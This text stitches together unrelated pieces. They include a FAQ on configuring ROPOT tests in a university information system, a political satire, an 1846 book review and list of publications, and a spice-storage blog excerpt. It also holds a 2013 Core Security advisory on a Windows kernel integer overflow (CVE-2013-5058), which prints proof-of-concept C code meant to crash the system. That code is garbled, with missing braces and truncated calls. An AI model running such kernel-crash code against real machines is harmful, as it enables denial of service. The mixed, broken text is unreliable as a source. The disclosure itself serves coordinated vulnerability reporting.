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- 1.What are ROPOT applications good for?The ROPOT (acronym standing for Revision Opinion POll and Testing) applications can be filled with questions that students are then asked to answer. Finally, the System saves their answers and evaluates them automatically. The process of getting a ROPOT application ready for being used usually consists of two stages:
- Preparation of a question set - entering questions the students are expected to answer
- ROPOT description configuration - specifying who is allowed to answer the questions and when as well as the rules governing the students' work; this step also involves a specification of the question set to be used in the application
- Exercises
- These may consist of numerous questions designed as a material for students to work with outside their classes (e.g. various drills, exercises whose aim is to make sure they have understood what was discussed in lessons, revision exercises, etc.). After saving their answers, the students can have the keys to these displayed. They may open and work with this kind of material any time they want to.
- PC-based Test
- This kind of test is particularly suitable for being submitted to students in a computer hall. It usually has a time limit imposed on it. The students' scores are saved into a notebook. The test can be configured the way that prevents the key to it from being displayed to those sitting for it.
- PC-Based Test Demo
- Since this represents a mock test whose main objective is to teach students to work in the PC-based test mode, it is advisable to use it during a term, i.e. prior to the examination period, when students have enough time to learn to work with it. The students' scores are not saved in any other application.
- Text (accompanied by other materials) or Opinion Poll
- This mode is convenient for creating questions and interlacing them with texts. Thus it can be utilized for designing interactive teaching materials, questionnaires, and opinion poll forms. The order of questions and answers to these never changes.
- Scannable Test (multiple choice)
- This mode is usually used for designing a test that is to be printed out and submitted to students in a "paper" form. Once the students' answer sheets are scanned and their contents recognized, the students' scores are uploaded into a notebook. A copy of each of the sheets is saved and stored (for checking purposes) in every student's Retrieval Box.
- Scanning Handwritten Text and Scores
- This feature allows a teacher to scan his/her students' answer sheets (filled with their handwritten text), which he/she has previously marked manually. Subsequently, the scores written down by the teacher get uploaded into a notebook and the students can find their marked sheets in their Retrieval Box.
- 2.What is the usual way of managing the ROPOT applications?First of all, you should create a question set and then specify how you want your ROPOT application to work (i.e. specify the time during which you want your students to be allowed to work with it, whether they should be allowed to browse its key or not, etc.) using its ROPOT description section. It is the very description that enables the students to work with the application, not the presence of the question set!
To preview your application, you might want to use the following path:Teacher ROPOT ... Work with ROPOTAfter being taken to the page, click on 'answer questions' situated under the name of the ROPOT application whose questions you want to browse. You can also use the same page to access your students' answers later on (click on the answers provided reference to do so).
- 3.What does my ROPOT application look like to my students?To get the idea of what your ROPOT application looks like to your students, go to it and try to answer the questions it contains using the following path:Teacher ROPOT ... Work with ROPOT 'answer questions' (situated below the appropriate ROPOT application) or 'Fill in a ROPOT form' (situated in the bottom section of the page).To see which of the questions you have answered correctly and which not, click on the view reference (after saving your answers). This will take you to the page marking all the correctly answered questions green and the incorrectly answered ones red. However, the questions are marked the aforementioned way only if the application has been configured to display the correct answers. The page should also list the total score awarded for the test.
- 4.Where can I find my students' answers?To access your students' answers, please use the following path:Teacher ROPOT ... Work with ROPOT 'answers provided' (situated below the appropriate ROPOT application) or 'Answers' (situated in the bottom section of the page)Using the aforementioned path, you will be taken to the page listing your students' names with references situated below these. Clicking on a student's name will display a list of all his/her ROPOT-related operations (date and time he/she opened the application, saved his/her answers and browsed the questions).
Provided you only want to see the outcome of the student's last operation, click on the reference situated below his/her name. The layout mentioned above is the default one. Using the references situated at the top of the page, you can, for instance, order the students by the date on which they saved their answers, you can have all the ROPOT-related operations they have performed displayed, etc.
- 5.Is there any way to browse the statistics indicating what answers my students have selected most frequently?Yes, there is. To browse the list of answers and information on how many times each of these has been selected, please use the following path:Teacher ROPOT ... Work with ROPOT 'Difficulty level' (situated in the bottom section of the page)The path takes you the page containing a table listing the individual answers and information on how many times these have been selected. The string of 'ra 3', for instance, says that it is the answer No. 3 (to the question of the :r type) that has been selected.
NB: The number indicates the position of the answer in the question set used, not its position in a certain student's test!
- 6.I would like my students to answer their questions repeatedly. What am I supposed to do?In some situations, it might be desirable to allow students to work with a ROPOT application repeatedly. This, for instance, applies to those where students answer ROPOT questions from their homes and the danger of something going wrong (their Internet connection dropping, computer freezing, etc.) is comparatively high.
You might also want to have an option of changing your test during the time your students are supposed to work with it and then ask them to take the test again.
Provided you want your student(s) to start working with your test from scratch for whatever reason, you should first discard the answers they have provided before. To do so, please use the following path:Teacher ROPOT ... Work with ROPOT 'remove' (situated below the appropriate ROPOT application) or 'Remove answers' (situated in the bottom section of the page)The application allows you to discard all the students' answers or just those provided by individual students. The process of discarding your students' answers proves useful provided you have selected 'No ...' or 'Yes, they should, but it is always the same form (same questions) that should be offered to them' in the section (of the ROPOT description) titled 'Should students be allowed to access this ROPOT application repeatedly?'. That is, if the ROPOT application has been designed as an exercise (with the option 'Yes, they should and some other questions should be offered to them next time they work with the ROPOT application' selected), the exercise is always compiled from scratch and therefore there is no need to discard the students' answers. After removing (discarding) your students' answers, you can still undo the operation using the following path:Teacher ROPOT ... Work with ROPOT 'restore' (situated below the appropriate ROPOT application) or 'Restore discarded answers' (situated in the bottom section of the page)It is advisable that you encourage your students to use the Save temporarily button once in a while in case there is a power outage or their connection drops. That is, if such a situation occurs, they can always return to their test without loosing the data they have hitherto entered into it.
- 7.I am playing around with my ROPOT application, but I am not able to update the questions it contains. What is the problem?First of all, it is crucial that you understand the way ROPOT applications work. Below you can find some basic operations you should get familiar with and perform to be able to solve the aforementioned problem. After saving a ROPOT description, you should use the application the path to which is as follows:Teacher ROPOT ... Work with ROPOT Fill in a ROPOT formAfter being taken to the page containing the form, fill it in and save it. This is the way your students will work with it, too. The ROPOT application allows you to access it (save your answers) either repeatedly or just once, depending on your ROPOT description settings. If the former is the case, what also matters is whether you have configured the application the way that makes it display the same questions each time a student opens it or whether the test is always compiled from some new questions.
The act of opening a blank form (test), i.e. compiling a test from a set of questions and putting them into a form allowing students to answer them, is called a session.
The sessions enable you to keep track of which of your students have worked with the ROPOT application and which of them have not. To go to the page listing the session-related information, please use the following path:Teacher ROPOT ... Work with ROPOT 'answers provided' (situated below the appropriate ROPOT application)Provided you have selected the answer 'Yes, they should, but it is always the same form (same questions) that should be offered to them' to the question (situated in the ROPOT description section) 'Should students be allowed to access this ROPOT application repeatedly?', the reference 'work with the question form again' will take you to the same form (session record). Therefore, if you decide to edit your question set (e.g. edit its previously created questions, add some new ones to it, etc.) and then use the ROPOT application in its updated version, you should first remove all your previous sessions using the following path:Teacher ROPOT ... Work with ROPOT removeNevertheless, provided you have selected the answer 'Yes, they should and some other questions should be offered to them next time they work with the ROPOT application' to the question 'Should students be allowed to access this ROPOT application repeatedly?', you need not remove your previous sessions as these do not prevent you from compiling new tests (exercises) from the newly edited questions.
- 8.Is there anything special I should be aware of before having my students take a PC-based test?The PC-based test represents a mode suitable for testing students in a computer hall. The students are requested to fill in forms made available to them by the Information System, which subsequently evaluates these. Provided the test requires the students to type their answers into text fields, which cannot be automatically assessed by the System, these become available to teachers for manual marking. The forms making up the PC-based test cannot be accessed prior to the start of test. They are usually made accessible by a teacher the moment his/her students are ready to work with them.
The PC-based test mode enables you to impose a time limit on the test (use the ROPOT description section to do so) either in the form of a period during which the application can be worked with or that of the total time allowed for the test. It is also possible to combine both the aforementioned ways.
Provided the time for which the students are allowed to work with the test elapses, their answers are saved automatically. Therefore, there is no need to worry about the answers of those who failed to save them using the Save button getting lost. If you wish to use a ROPOT application for examination purposes, i.e. as a test whose score will determine the student's grade, it is advisable that you contact one of our e-technicians who will make sure that your ROPOT application has been configured correctly. PC-based test demo You can use this mode to enable your students to familiarize themselves with the PC-based test and its features before they sit for it. To prepare this mock test, download a demo question set (using the path below) and upload it into the testbank folder.Teacher ROPOT ... text format of questionsNext, create a ROPOT description for it selecting the PC-based test demo mode and name it, for instance, PC Mock Test. By selecting the mode, you also select its pre-sets which ensure that the ROPOT application cannot be worked with repeatedly, the students' scores are to be uploaded into a notebook, and the key to the test is not to be displayed to them. Last but not least, it is advisable to send your students an e-mail informing them about how they should work with the ROPOT application. The e-mail may have, for instance, the following form:
Dear students, to access the ROPOT section of the Information System, please use the following path: Personal Administration → Student → ROPOT (Revision, Opinion Poll and Testing) - e-learning. Before taking the test I have informed you about before, you are strongly recommended to familiarize yourself with the general features of ROPOT applications and the way the questions they contain should be answered. You can do so by clicking on 'select the ROPOT application - PC Mock Test'. That is, the application you will be taken to, which serves the purpose of a mock test, has the same form like the real test you are going to take. After clicking on the reference mentioned above, click on 'I want to work with the ROPOT application' and read through the red notification displayed. As regards the test itself, select those of the answers you consider correct. Finally, remember to click on 'Save'. After saving your answers, you can find your score in a notebook the path to which is as follows: Personal Administration → Student → Information from Notebooks This mock test works in the mode that does not display its key. When answering questions making up the real test, please proceed the same way as you did when working with the mock test. Regards ...ROPOT applications and Multiple Examination Dates Provided you plan to use some ROPOT applications on multiple examination dates, you should first ask yourself the following questions: Do I want to use the same test on several examination dates?
Do I want to prevent my students from accessing the key after they have completed the test? The number of ROPOT applications to create depends on the extent to which you want to prevent your students from sharing their test questions and copying each other's answers. Below are the three most common alternatives:
- A different question set is designed for every examination date. The questions (taken from the question set) are blended, i.e. the order in which the questions (or even answers to these) are presented is unique for each test.
- There are, for instance, three different question sets each of which is used on several examination dates.
- There is only one question set.
However, if you cannot impose this restriction on your ROPOT application (test), but you still do not want your students to be able to return to it, you should create a separate ROPOT description for each examination date. Security Measures To find out the range of IP addresses of the computers in the hall your students will take the test in, please contact the technical support of the hall. Provided you want to restrict access to the test to only the computers in the hall, you should specify the range (addresses) in the ROPOT description (see the section titled 'On which computers should the students be allowed to work with the ROPOT application?').
You might also want to have every student report to you the address of his/her computer shortly before the test. He/she can find it on the page the path to which is as follows:Personal Administration System IP address of client computerIf you cannot, or do not want to, look for the IP addresses, here is another option you might want to consider:
- Have your students reserve slots on different examination dates (just as if they were going to sit for a regular examination). Make sure that you have specified the open for reservations from and open for reservations to dates and times the way that does not enable anyone to make his/her reservation during the time the ROPOT application (test) is under way since someone might open it and browse it then.
- In the ROPOT description section, go to the part titled 'The following users are authorized to work with the ROPOT application' and specify the examination date with the reservations of the students you want to enable to work with the test.
- At the start of the test session (prior to the test per se), check the names of the students present against the list of those who have made their reservation on the date and cancel the reservations of those who are absent using the Information System. This will prevent the latter from opening the test from another location.
- The Information System records the student's name and the IP address of the computer from which he/she accesses the application every time he/she opens the test. Therefore, if the student shares his/her password used for logging into the System with someone else and the latter opens the test (e.g. from another location), the System will display the student's name in the list of ROPOT-related files twice. Besides, it will also display two different IP addresses from which the test has been opened under the student's profile. Thus you will be able to reveal the unauthorized access to the application carried out by the other person later on.
- The ROPOT description section also allows you to add to the left side of the test
a wide column of a specified color.
This column is intended for monitoring purposes as it allows the one supervising the test to make sure (from a long distance) that all the students work with the right ROPOT application (test). The color of the column can be changed to suit your personal preferences. You may also want to use different colors for, for instance, different examination dates.
- The ROPOT description section allows you to specify that you want to start the test with the browser window containing it maximized (so that it occupies the whole screen). This option can be deployed for monitoring purposes as well. However, you should bear in mind that students can resize their browser windows any time they see fit.
- You may also want to turn to your local Computer Laboratory staff and ask them to block access to the URLs (Internet addresses) other than is.muni.cz on the computers in the hall in which you plan to hold the test so that your students should not be able to consult any external sources of information.
The fact whether a student is allowed to open a test repeatedly or in multiple tabs (windows) depends on the ROPOT description settings (see the section 'Should students be allowed to access this ROPOT application repeatedly?'). Your students should be instructed to use the Save temporarily button in case there is, for instance, a power outage during the time they are working with the test. Provided your test spans several pages (depends on your ROPOT description settings again), the student's answers are saved automatically every time he/she moves from one page to another. The students can also save their answers by pressing the Enter key of their keyboard.
The students' answers, however, are evaluated and their scores calculated only when they have finished working with their tests and saved the final version of their answers (not when they only save their answers temporarily). The System keeps track of all the operations performed (the time the ROPOT application (test) was opened, the time its answers were saved, the addresses of the computers it was accessed from, the answers selected (provided), etc.) and saves the information about these. Therefore, it is always possible to browse these records whenever any problems or doubts about someone not acting fair arise. Provided a student saves his/her answers and thus gets his/her answers evaluated, in most situations he/she cannot return to the test any more. However, if you want to enable the student to re-enter the test, you first have to discard all his/her answers using the following path:Teacher ROPOT ... Work with ROPOT Remove answersProvided this is the first time you have worked with a ROPOT application and/or you do not know how to configure it, feel free to contact us. We are ready to check your ROPOT settings and recommend you the configuration which is most suitable for your purpose. By contacting us, you may avoid some problems in the future.
- 9.I would like to process the answers provided by my students on my own. Is there any way to export them in
the XML format?Yes, there is. To browse your students' answers in the XML format, a form which you may subsequently utilize for further processing, please use the following path:Teacher ROPOT ... Work with ROPOT 'xml' (situated below the appropriate ROPOT application) or 'XML output' (situated in the bottom section of the page)Download the file to your computer and pass it on to the person who is supposed to process the information.
- 10.What is the purpose of the file named a_texty, which is situated in the ROPOT folder of File Manager?The a_texty folder is only created in the situation where you design a ROPOT application requiring students to type their texts into text fields (text boxes). That is, the folder is used to store files containing the students' textual answers. These files bear no particular significance to a common user. They are only used by the applications searching for traces of plagiarism.
- 11.Is it also possible to make a ROPOT application
accessible to people outside the Information System?Yes, it is. A ROPOT application can also be run by unauthenticated users. All you have to do to make it accessible to these is to go to the ROPOT description section and grant the right to access it to 'anyone on the Internet' in the section titled 'The following users are authorized to work with the ROPOT application'. As a result, any person with a valid refence to the appropriate *.qref file (the one housing the application) will be able to access it from any location. NB: The reference (address) mentioned above must start with "https://is.muni.cz/"! When an unauthenticated user uses a ROPOT application, his/her identity cannot be verified. Therefore, each time he/she runs it, it is only a session-identifying number that is assigned to this event. The number (displayed in place of what would normally be the user's name and his/her personal identification number (učo)) gets stored in the browser memory in the form of a cookie allowing him/her to get his/her answers previously provided displayed at every subsequent session. However, this is only the case as long as the user's browser has cookies enabled and he/she runs the application from the same computer as before. If the user decides to work with the application from another computer, the System will not associate the new session with his/her previous ones. Note: The ROPOT applications which do not require any authentication can be utilized for the purpose of conducting surveys and opinion polls. The scores or any other information obtained via these cannot be stored in a notebook.
- 12.How shall I proceed to view the scores
calculated (answers provided) by (through) the ROPOT application that
does not require its users to be logged in the System?You should proceed the same way as you do when looking for the information provided by any other ROPOT application, i.e. using the following path:Teacher Work with ROPOT Answers providedYou can also access this data by clicking on the Difficulty level reference. This, however, only applies to the situations where the ROPOT application has been created under a certain course (not required since it may also be placed outside the Study Materials section, e.g. on the Document Server).
- 13.Is it also possible to use ROPOT
applications for testing applicants?Yes, it is. To be able to do so, you should go to the section titled 'The following users are authorized to work with the ROPOT application' (can be found in the ROPOT description) and grant the right to work with the application to 'school applicants', i.e. those who have applied for a place at the school. Later on, these people can be identified by the identification number of their application.
- 14.Is there any way of generating the list of
those who have worked with the ROPOT application and their scores
without using a notebook?Yes, there is. To export such a list, which also includes the times specifying when the users worked with the application, please use the following path:Teacher Work with ROPOT Answers provided enable XML mode Simple exportThe simple export option offers you the choice of either having the list displayed on your screen or downloading it in the Excel or Word formats. The list contains the names of all the people who have worked with the ROPOT application including those identified by their application identification numbers. The users who have not logged into the System are listed in the form of a number identifying their session. The operation of simple export proves particularly useful when you need a record of unauthenticated users' scores or in the situations where the ROPOT application is not used under any course.
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Louise Benson said that her opinion of the way President Bush is handling the Iraq war -- previously positive, along with her husband Harold's -- has changed following Harold's statement that Bush needs to change tactics, and is not running the war very well after all.
Mrs. Benson's change in opinion flies in the face of countless GOP TV and radio ads that portray the war in Iraq in a positive light, which was the housewife's primary source of information until husband Harold informed her otherwise.
"I was convinced that the war was going well -- at least that's what Harold had been saying -- despite all the bad press and the mounting casualties," said the wife of the influential Benson. "But after he said that America will never win the war unless a new direction is taken, it became clear to me that something must be done."
The high school history teacher, Benson Sr., declared current US policy to be "flawed" in a dinner-time discussion on Wednesday, which convinced his spouse and two young children, 6 and 10, that the war is not going as well as previously thought.
"Daddy says that Bush President is have to win the war in Arack [sic] a different way," said Alasdair Benson, 10. "I think so too also."
Amongst household residents, the elder Benson is the favored foreign and domestic policy adviser, and is credited for influencing the direction the family's reaction to world events has taken.
"[Greg] really is the resident expert on things like politics and history and stuff," said Mrs. Benson. "He's also a huge Republican, so when he says that the war isn't going well, then you know that it's not just the media trying to trick us, and that things really aren't going very well at all."
Mr. Benson's subscriptions to The National Review, The American Conservative, and The Weekly Standard continually reassure wife Louise that his opinion is correct and untainted by the confusing and always wrong liberal media, which, without his guidance, would mislead her into thinking bad thoughts about Republicans and the GOP.
"There have been a few times when I foolishly believed the newspapers, and found myself thinking that maybe the decision to invade Iraq wasn't wise, or that a border fence [along the US-Mexican border] is a bad idea," admitted Benson, "but thank goodness my husband corrected me before I could start believing the lies that the shameless Democrats would have us believe."
Louise prefers not to rely on her own understanding, she says, but to automatically disregard news from mainstream media sources about increased attacks on US soldiers and Iraqi civilians, opting instead to wait until husband Greg can explain why things really aren't that bad in Iraq, how the media ignores the "good stuff that happens over there", and how the liberal media distorts everything.
"You hear about one torture case in one prison like it's the apoco...apoco-whatsis, but you never hear about a soldier winning a star of some kind for bravery," she said proudly. "Greg told me all about it."
Louise admits that it's strange that her husband's opinion, typically dialectic to the mainstream, could intersect with non-conservative publications, but that husband Greg is much better off making that call than she is. She is proud to stand by her man.
"No number of figures, graphs, information or reports from the intelligence community could ever convince me that my husband doesn't know exactly what is happening in politics," proudly stated the supportive spouse. "Thank goodness he's around to explain all of that confusing stuff to me, or, God forbid, I might be a raging liberal, and ready to vote for Hillary Clinton in 2008 if I didn't know any better."
Mr. Benson himself acknowledged the fact that the intelligence he gathers is an important source of information for his family, and vowed to continue pursuing the truth by reading Reader's Digest and watching the Fox News channel.
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On the other hand, there are some who are distrustful and timid by nature. They are ready enough to see bars and hear warnings on every side; they dare not look upward or onward; they are afraid to run in any direction, but stand still, when many an open and safe, but as yet unbeaten, road lies directly before them. It is a melancholy sight, a young man divested of enthusiasm, without ardor or generous impulses. There are men, and perhaps they are the majority, as the world goes, who are very useful as clogs to the wheels of improvement, which might otherwise roll on faster than the way could be cleared before them, crushing opposition instead of overcoming it. We naturally look to the young and hopeful for the onward movement, and to the old and cautious for the necessary conservative counteraction. May not the slow progress of reform in most instances be owing to the influence of those well-meaning persons who, taking it for granted that youth is naturally more disposed to evil than to good, keep up a constant cry of "Beware! Beware!" in the ears of
their children and pupils, when they might keep them from evil without repressing their hopes and energies, by cheering them on to useful and generous aims, and inspiring a noble ambition to ac⚫ quire influence over others, or to cooperate with them for good?
Mr. Livermore's Lectures for young men have not a little revived our spirits, by furnishing, in some good measure, what has been wanting. It is not the trite warning of an unsympathizing superior; it is the voice of a young man leading on his fellows in the honorable path which he is himself zealously and wisely treading. Throughout the book there is a youthful warmth of style and feeling, which must recommend it to all young men who have not become prematurely old and cold-hearted. The first two lectures are plain and sensible representations of the moral dangers which beset young men, and the most flippant scoffer at good advice could hardly find in them any thing to gainsay or cavil at. There is no exaggeration, no painting for effect, no holding up of the gallows (how useless a bugbear in these days of good-natured juries!) to the disobedient, and the drunkard's grave to the convivial. The writer seeks to make the young man aware of the value, not of character and worldly prosperity alone, but of his own soul, and its fresh feelings and delicate sensibilities, and earnestly pleads with him to watch over and preserve that purity of heart and taste, which once lost can never be regained, and which is the greatest safeguard of virtue. It is in the tone of one who has safely borne this treasure in his own bosom through the period most beset with dangers, that he puts others on their guard lest it be insensibly stolen from them. He points out to them the very beginnings of evil; he would have them conscientiously avoid, as moral poison, all such associates, books, or recreations, as tend to tarnish, and finally destroy, their moral refinement.
The lectures are written in an easy and correct style, without any attempt at smartness or originality of expression. On this account they may not reach a large circle of readers, or leave any strong or vivid impression on the minds of those who peruse them. But to whatever extent their influence may be felt, it will be for good; and we gladly contribute our little effort to widen their circulation. They are honorable alike to the taste, the good sense, and the moral sentiments of the writer, who has shown the same excellent qualities in some previous publications which the public have received with well merited favor.
Essays on the Progress of Nations in Productive Industry, Civilization, Population, and Wealth; illustrated by Statistics of Mining, Agriculture, Manufactures, Commerce, &c. By Ezra C. Seaman. Detroit: M. Geiger & Co. 1846. 8vo. pp. 455.
A Grammar of the Greek Language. By Alpheus Crosby, Professor of the Greek Language and Literatúre in Dartmouth College. Second Edition. Boston: James Munroe & Co. 1846. 12mo. pp. 464.
A Discourse of the Baconian Philosophy. By Samuel Tyler, of the Maryland Bar. Second Edition, enlarged. Frederick City, Md.: Schley & Haller. 1846. 12mo. pp. 426.
Appleton's Literary Miscellany, Nos. XVII. and XVIII. The History of Civilization from the Fall of the Roman Empire to the French Revolution. By F. Guizot, the Prime Minister of France. Translated by William Hazlitt. Parts V. and VI. New York: D. Appleton & Co. 1846.
Select Treatises of Martin Luther, in the Original German, with Philological Notes, and an Essay on German and English Etymology. By B. Sears. Andover: Allen, Morrill, & Wardwell. 1846. 12mo. pp. 382.
Memoirs of American Governors. By Jacob Bailey Moore. Vol. I. Governors of New Plymouth and Massachusetts Bay. New York: Gates & Stedman. 1846. 8vo. pp. 439.
Gesenius's Hebrew Grammar, Fourteenth Edition, as revised by Dr. E. Rödiger. Translated by T. J. Conant, Professor of Hebrew in Madison University. With the Modifications of the Editions subsequent to the Eleventh, by Dr. Davies, of Stepney College, London. To which are added a Course of Exercises in Hebrew Grammar and a Hebrew Chrestomathy, prepared by the Translator. New York: D. Appleton & Co. 1846. 8vo. pp. 405.
Hebrew Grammar of Gesenius, as edited by Rödiger, translated, with Additions, and also a Hebrew Chrestomathy. By M. Stuart, Professor of Sacred Literature, Theological Seminary, Andover. Allen, Morrill, & Ward well. 1846. 8vo. pp. 360.
Encyclopædia Americana, Supplementary Volume: A Popular Dictionary of Arts, Sciences, Literature, History, Politics, and Biography. Vol. XIV. Edited by Henry Vethake, LL. D. Philadelphia: Lea & Blanchard. 1847. 8vo. pp. 663.
An Address to the Society of Middlesex Husbandmen and Manufacturers, delivered at Concord, October 7, 1846. By John G. Palfrey, of Cambridge. Metcalf & Co., Printers. 8vo. pp. 24.
Jack Datchett, the Clerk, an Old Man's Tale. burn. 1846. 12mo. pp. 101.
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Protection and Free Trade compared, in their Influence on National Industry and the Balance of Wealth and Power. Salem. 1846. 8vo. pp. 24.
Papers on the Slave Power, first published in the Boston Whig, in July, August, and September, 1846. By John G. Palfrey, of Cambridge, Middlesex County, Massachusetts. Second Edition. Boston: Merrill, Cobb & Co. 8vo. pp. 92.
The Early New England Home: a Thanksgiving Sermon. By Frederick A. Whitney, Minister of the First Church, Brighton. Boston: Leonard C. Bowles. 1846. 8vo. pp. 11.
The Rights of Labor. By Calvin Colton, Author of The Life and Times of Henry Clay. New York: A. S. Barnes & Co. 1846. 8vo. PP. 96.
The Pre-Adamite Earth: Contributions to Theological Science. By John Harris, D. D., President of Cheshunt College. Boston: Gould, Kendall, & Lincoln. 1847. 12mo. pp. 294.
Cyclopædia of English Literature: a Selection of the Choicest Productions of English Authors, from the Earliest to the Present Time, connected by a Critical and Biographical History. Edited by Robert Chambers. No. I. Boston: Gould, Kendall, & Lincoln. 1847. 8vo. pp. 84.
The Doctrines of Spinoza and Swedenborg identified, so far as they claim a Scientific Ground; in four Letters. Boston: Munroe & Francis. 1846. 12mo. pp. 36.
Astronomical Observations made under the Direction of M. F. Maury, Lieut. U. S. Navy, during the Year 1845, at the U. S. Naval Observatory, Washington. Vol. I. Published by Authority of the Secretary of the Navy. Washington: J. & G. S. Gideon, Printers. 1846. 4to. pp. 543.
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In a recent article on the Progress of Society, we represented the present age as characterized beyond all preceding times by professed reverence for intellectual attainments and achievements, but as still grossly deficient in that spiritual culture, without which intellect lacks its true nobility, and falls short of its mission and destiny. We propose now to point out some of the intellectual characteristics and tendencies of our times. The aim, indeed, seems at first sight vast and vague; but our discussion will be greatly simplified and brought within reasonable bounds, if, instead of attempting to enumerate in detail all the prominent features of the age, we fix its position, and unfold the principles which inspire its life and direct its energies. In order to do this, we must consider the route in which, and the ends for which, the intellectual effort and enterprise of civilized man have hitherto been directed.
The ages that are gone have been busy chiefly about the material world, grappling with problems presented by the outward universe. Man awoke into being, surrounded by baffling mysteries. He found himself among existences and objects whose origin, uses, adaptations, and harmonies it surpassed his skill to trace, beneath heavens whose cirNo. 135. 24


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Cumin, coriander, cardamom. Sichuan pepper. Cinnamon sticks, cinnamon powder. Nutmeg, allspice, black pepper and ginger. Fermented black beans, red pepper flakes. These are just a few of the spices in my cupboard — all well-loved and frequently used. Storage for my heaps of spices has been a chronic challenge in my little kitchen; they've been squirreled away in bags, stuffed into tiny jars, spilling loose grains to drift into mounds on the floor of the cupboard.
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• 1 Mason Jars – My own personal method of storing spices. This works best for me — it's inexpensive, and it lets me store the large amount of spices I need for daily cooking.
• 2 Spices In the Drawer – If you use less spices or don't need huge jars of them, a drawer can be a great way to keep them handy yet organized. Label the tops of the jars so you can find something at a glance.
• 3 Use an Old Muffin Tin to Organize – And if you have a big enough drawer, use an old muffin tin to hold little baggies and other loose containers of spices.
• 4 Masala Dabba (Indian Spice Box) – These beautiful, airtight Indian spice containers are a great way to keep your spices organized and fresh. (The rest of the post also shows many other ways an Indian cook stocks and organizes his spice pantry — inspiring!)
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Microsoft Windows Kernel - 'win32k.sys' Integer Overflow (MS13-101)
Core Security - Corelabs Advisory
Divide Error in Windows Kernel
1. *Advisory Information*
Title: Divide Error in Windows Kernel
Advisory ID: CORE-2013-0807
Advisory URL:
Date published: 2013-12-11
Date of last update: 2013-12-11
Vendors contacted: Microsoft
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Integer overflow [CWE-190]
Impact: Denial of service
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2013-5058
3. *Vulnerability Description*
Windows kernel is prone to a security vulnerability when executing the
(GDI support) function 'RFONTOBJ::bTextExtent' located in 'win32k.sys'.
This vulnerability could be exploited by an attacker to crash the
windows kernel by calling the user mode function 'NtGdiGetTextExtent'
with specially crafted arguments.
Microsoft notifies that this vulnerability may allow Elevation of
Privilege attacks but did not provide further technical details.
4. *Vendor Information, Solutions and Workarounds*
For additional information regarding affected versions, non-affected
versions, fixes and official patches please visit:
. Microsoft Security Bulletin MS13-101 -
. Description of the security update for Windows kernel-mode drivers
- http://support.microsoft.com/kb/2893984
5. *Credits*
This vulnerability was discovered and researched by Nicolas Economou
from Core Exploit Writers Team. The publication of this advisory was
coordinated by Fernando Miranda from Core Advisories Team.
6. *Technical Description / Proof of Concept Code*
The vulnerable function is 'RFONTOBJ::bTextExtent', located in the
Windows kernel driver 'win32k.sys'. The way to call this function from
user mode is calling the function 'NtGdiGetTextExtent'.
The bug takes place when performing a signed division 'IDIV', the result
does not fit in the destination and the kernel raises an 'INTEGER
OVERFLOW' exception.
6.1. *Proof of Concept*
The following PoC was compiled in VS2012 and tested against Windows XP
and Windows 7, and it allows reproducing the vulnerability. By running
this PoC the affected OS will crash into a blue screen.
# include <windows.h>
# include <stdio.h>
__declspec (naked) int _NtGdiSetTextJustification (HDC v1, int extra,
int count)
// Windows XP
__asm mov eax,0x111e
__asm mov edx,0x7ffe0300
__asm call dword ptr [edx]
__asm ret 0x0c
__declspec (naked) int _NtGdiGetTextExtent (HDC v1, int v2, int v3, int
v4, int v5)
// Windows XP
__asm mov eax,0x10cc
__asm mov edx,0x7ffe0300
__asm call dword ptr [edx]
__asm ret 0x14
__declspec (naked) int _NtGdiSetTextJustification_W7 (HDC v1, int extra,
int count)
// Windows 7
__asm mov eax,0x1129
__asm mov edx,0x7ffe0300
__asm call dword ptr [edx]
__asm ret 0x0c
__declspec (naked) int _NtGdiGetTextExtent_W7 (HDC v1, int v2, int v3,
int v4, int v5)
// Windows 7
__asm mov eax,0x10D6
__asm mov edx,0x7ffe0300
__asm call dword ptr [edx]
__asm ret 0x14
int main ()
char buffer [4096];
OSVERSIONINFO v;
HDC hdc;
memset(buffer, 0, 4096);
/* Obtaining the OS version */
memset(&v, 0, sizeof(v));
v.dwOSVersionInfoSize = sizeof(v);
hdc = CreateCompatibleDC(NULL);
/* If it's Windows XP */
if ((v.dwMajorVersion == 5) && (v.dwMinorVersion == 1))
_NtGdiSetTextJustification(hdc, 0x08000000, 0xffffffff);
_NtGdiGetTextExtent(hdc, (int) buffer, 0x11, 0x44444444,
/* If it's Windows 7 */
else if ((v.dwMajorVersion == 6) && (v.dwMinorVersion == 1))
_NtGdiSetTextJustification_W7(hdc, 0x08000000, 0xffffffff);
_NtGdiGetTextExtent_W7(hdc, (int) buffer, 0x11, 0x44444444,
printf("unsupported OS\n");
return 0;
7. *Report Timeline*
. 2013-08-12:
Core Security Technologies notifies the MSRC of the vulnerability.
Publication date is set for Sep 3rd, 2013.
. 2013-08-12:
MSRC acknowledges the receipt of the information and opens the case
15304 for this issue.
. 2013-09-02:
Core asks for a status update.
. 2013-09-02:
MSRC confirms that they have reproduced the issue as reported and asks
to postpone the publication of technical details until an upcoming
security update.
. 2013-09-02:
Core asks for an estimated release date.
. 2013-09-03:
First release date missed.
. 2013-09-08:
MSRC notifies that they are still investigating the root cause of this
issue and that they will send an update when begin developing a fix.
. 2013-09-09:
Core notifies that the advisory publication was tentatively re-scheduled
for October 8th, 2013.
. 2013-10-08:
Second release date missed.
. 2013-10-15:
Core asks for a status update.
. 2013-10-16:
MSRC notifies that they have reproduced the issue; however, they are
still performing the standard variant investigation and fuzzing to
ensure a complete fix for the issue.
. 2013-11-04:
MSRC notifies that they have completed the investigation and are
currently developing a fix. Typically, developing and testing a fix is a
process that takes at least 30 days.
. 2013-11-14:
MSRC notifies that they are currently testing a fix for this issue.
. 2013-11-26:
Core re-schedules the advisory publication for Dec 16th.
. 2013-12-10:
MSRC releases the Security Bulletin MS13-101 [1], [2] for this
vulnerability without notify Core.
. 2013-12-11:
Advisory CORE-2013-0807 published.
8. *References*
[1] Microsoft Security Bulletin MS13-101,
[2] Description of the security update for Windows kernel-mode drivers,
9. *About CoreLabs*
CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
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As the General Services Administration (GSA) migrates to a work-anywhere, work-anytime strategy, the real estate arm of the U.S. federal government is discovering that having an iron-clad security strategy is critical to its adoption of cloud-based applications.
